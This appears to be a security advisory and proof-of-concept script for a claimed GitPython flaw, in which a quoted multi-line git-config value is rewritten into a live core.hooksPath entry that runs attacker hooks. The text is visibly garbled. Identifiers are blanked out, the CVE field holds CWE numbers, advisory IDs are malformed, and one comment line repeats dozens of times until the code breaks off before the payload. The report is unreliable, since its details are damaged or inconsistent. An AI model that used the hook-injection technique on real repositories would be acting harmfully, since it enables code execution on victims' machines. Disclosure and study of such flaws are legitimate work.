GitPython RCE via Multi-line GitConfig Injection in Read Path

Vulnerability Overview Title: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE Description: CVE ID: CWE-88 (Argument Injection), CWE-94 (Code Injection) Affected Component: - (multi-line value decoding), lines 444-541, esp. at line 460 and its call sites at 519/541 and / (serialization, lines 694-712, esp. line 709) Affected Versions: GitPython at HEAD (9729ed3b4872b408ff15188c5f31e417212b67c, 2026-08-05, VERSION 3.1.56) – post-fix for all 26 currently-published GitPython GHSA, including the four most closely related config-injection advisories (GSA-w935-w799-cj2w, GSA-v87r-6q3f-2j67, GSA-3r95-jjw4-wv2, GSA-j678-9fvw-mngr) Impact Scope Severity: High Impact: Arbitrary code execution, triggered via , without requiring any caller parameters. Prerequisites: - The configuration file contains an attacker-selected, syntactically valid multi-line value. - A pre-existing directory containing the file. - Any host application opens the file for read/write operations and performs a valid write. Remediation Root Cause: The injection protection in is asymmetric, protecting only the write endpoints and not the read endpoints. Remediation Advice: - Use (or equivalent re-quoting) on all resident values within / . - Alternatively, re-quote embedded control characters during reading, or open all parsers in read-only mode. Proof of Concept (POC) ```python #!/usr/bin/env python3 """ GITPYTHON-002 POC: A dormant, legitimately-encoded multi-line git-config value standard-quoted + backslash-continuation syntax, containing an escaped "\n" that decodes to a real embedded newline in memory, is corrupted into a NEW, live config key moment GitConfigParser re-serializes it during any unrelated write. If the smuggled second "line" looks like "core.hooksPath = ", it becomes a real, active core.hooksPath after one unrelated GitPython config write, and fires attacker code on the next hook-triggering git operation (e.g. git commit). This is CWE-88/CWE-94 (argument/config injection), but via the READ path (in config file parses and later re-writes). It uses a Python hexarg argument -- distinct from the already-fixed GSA-w935-w799-cj2w / GSA-v87r-6q3f-2j67 / GSA-3r95-jjw4-wv2 / GSA-j678-9fvw-mngr, which all guard the better-argument surface only. Run: PYTHONPATH=/gitpython:/smap python3 gitpython-002-poc.py Benign: only writes/reads inside . The "malicious" hook just writes a marker file; no destructive/exploiting payload. Exits non-zero and prints "NOT VULNERABLE" if the corruption / hook does not fire. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "./tmp/gitpython-002-poc" repo_dir = os.path.join(workdir, "repo") hooks_dir = os.path.join(workdir, "hooks") marker = os.path.join(workdir, "MARKER_MARKER.txt") for p in (repo_dir, hooks_dir): os.makedirs(p, exist_ok=True) if os.path.exists(marker): os.remove(marker) subprocess.run(["git", "init", "-q", "-q", "-q", repo_dir], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", repo_dir, "config", "user.name", "Test User"], check=True) Rewrite git-config with a dormant, 100% valid multi-line quoted value inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside [core] (before any other section). No raw CR/LF/NUL byte is inside

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GitPython RCE via Multi-line GitConfig Injection in Read Path

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